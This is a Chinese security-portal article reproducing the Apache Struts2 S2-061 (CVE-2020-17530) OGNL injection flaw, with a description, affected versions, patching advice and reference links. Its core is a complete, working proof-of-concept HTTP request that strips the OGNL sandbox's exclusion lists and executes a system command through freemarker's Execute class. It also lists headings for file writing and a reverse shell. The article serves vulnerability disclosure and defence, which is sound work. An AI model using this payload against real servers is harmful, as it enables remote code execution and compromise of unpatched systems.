freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Struts2-61(CVE-2020-17530)远程代码执行漏洞(含复现视频)
quanpangshu 2021-01-08 17:37:06 309985

漏洞描述

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表达式的执行也修复了。

此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。

漏洞复现

poc

GET /?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))} HTTP/1.1
Host: ip:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

读取id

写文件

测试dnslog

反弹shell


复现视频

https://mp.weixin.qq.com/s/UwDEhLS8aDF4oLADLom6aA


影响版本

Apache Struts 2.0.0 - 2.5.25

安全建议

(1)将Apache Struts框架升级至最新版本。

(2)或者开启ONGL表达式注入保护措施,过滤%{}表达式

(https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable)

(3)在部署环境时建议使用最小化部署,使用最小包进行部署,避免出现漏洞。



参考链接

我们不是创造者,我们只是搬运工!

https://mp.weixin.qq.com/s/ON4NCkEp0N0qKGfaJrUbbw

https://mp.weixin.qq.com/s/UwDEhLS8aDF4oLADLom6aA

https://cwiki.apache.org/confluence/display/WW/S2-061

https://mp.weixin.qq.com/s/PhhgnrmOc5MKxS--ZJNaCQ

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

https://mp.weixin.qq.com/s/XBU3wwlHdoGEjNCd0J7GLQ

https://mp.weixin.qq.com/s/6yDtri_M9utZNIZqOrFafQ

# 黑客 # 系统安全 # 漏洞分析 # 网络安全技术
本文为 quanpangshu 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
quanpangshu LV.3
这家伙太懒了,还未填写个人描述!
  • 12 文章数
  • 29 关注者
CobaltStrike团体服务运行不稳定问题处理
2023-01-13
代码审计基础DVWA命令执行
2023-01-12
weblogicCVE-2021-2109ldap远程代码执行漏洞复现(从weblogic环境搭建到漏洞复现CS上线)
2021-02-17
文章目录